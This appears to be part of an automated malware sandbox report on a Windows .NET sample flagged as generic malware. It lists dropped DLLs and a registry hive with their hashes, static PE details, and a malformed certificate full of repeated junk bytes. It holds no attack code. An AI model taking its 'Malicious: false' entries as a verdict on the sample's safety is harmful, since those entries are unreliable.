SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	760320
Entropy (8bit):	6.561572491684602
Encrypted:	false
SSDEEP:	12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5:	544CD51A596619B78E9B54B70088307D
SHA1:	4769DDD2DBC1DC44B758964ED0BD231B85880B65
SHA-256:	DFCE2D4D06DE6452998B3C5B2DC33EAA6DB2BD37810D04E3D02DC931887CFDDD
SHA-512:	F56D8B81022BB132D40AA78596DA39B5C212D13B84B5C7D2C576BBF403924F1D22E750DE3B09D1BE30AEA359F1B72C5043B19685FC9BF06D8040BFEE16B17719
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...]...6....f..0...)=..,...)=....;...;...2.~.C...)=..i...)=......)=..3...)=..3...Rich2...........PE..L....#da...........!.....(...n...............@......................................(.....@.............................C.......x................................n...B..................................@............@...............................text....&.......(.................. ..`.rdata......@.......,..............@..@.data...`...........................@....rsrc...............................@..@.reloc..R...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465966167520397
Encrypted:	false
SSDEEP:	6144:PIXfpi67eLPU9skLmb0b4DWSPKaJG8nAgejZMMhA2gX4WABl0uNwdwBCswSb+:gXD94DWlLZMM6YFHS++
MD5:	2E9126E56776E715D6FF2B742D50FEFA
SHA1:	606D3A904AF9055774FF08EB0043ED72E25750FF
SHA-256:	7F64709E39387EF25868E9B71FC0F4A60555BB8706CA00D873C1D0D43A1AA1EB
SHA-512:	B88BA7E1AE9E8E0F5633CE547C343B3EA086BB268F29E21486A17DA8BA428B0BFDE30F7C8ADE9FD962BDD05689ECB9EE90695EDDFA30A43B2F9AF8F14EAFBDA0
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...%............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.983386792126187
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
File size:	5'039'032 bytes
MD5:	3d5d6485af7cd75f9cb1284a35e70f97
SHA1:	511388b6ef0247a952580e1aaa70e6e7646e35fb
SHA256:	d9598915932030d8c05825ef9d1d331cbea8cb887aa6570f96d3cec23c311411
SHA512:	c4340c7947b23b83c8acb2a08fdc599ad24fc891d9ac81e6b98b00509a681266d2f390cf7f10123504b4bffdf77a0108cd6249ca7272ac4f4bcd0d106b406e4a
SSDEEP:	98304:pSnTPjsgAvcAbjUTRl92dXeYbFhGLhWQDf6Z1a51:pSnT7bAEAbjUvoDhGLAaj
TLSH:	6D369D12B7488A71C14C26B6D2E3451D43B1AD843BB6CF5B366D73B91E2339BCC4636A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...,3L...............P...G.........^.G.. ....G...@.. ........................L.......M...@................................

File Icon


Icon Hash:	6febb3bb3b10c030

Static PE Info

General

Entrypoint:	0x87cc5e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xA24C332C [Fri Apr 14 01:53:48 2056 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP"
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	21/05/2024 12:03:33 22/05/2034 12:03:33
Subject Chain	CN="\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t\xb2\xd7aqP\xaf\xa5\xa4<\xccz}@\x8d\xba\xa9\u0192\u0161t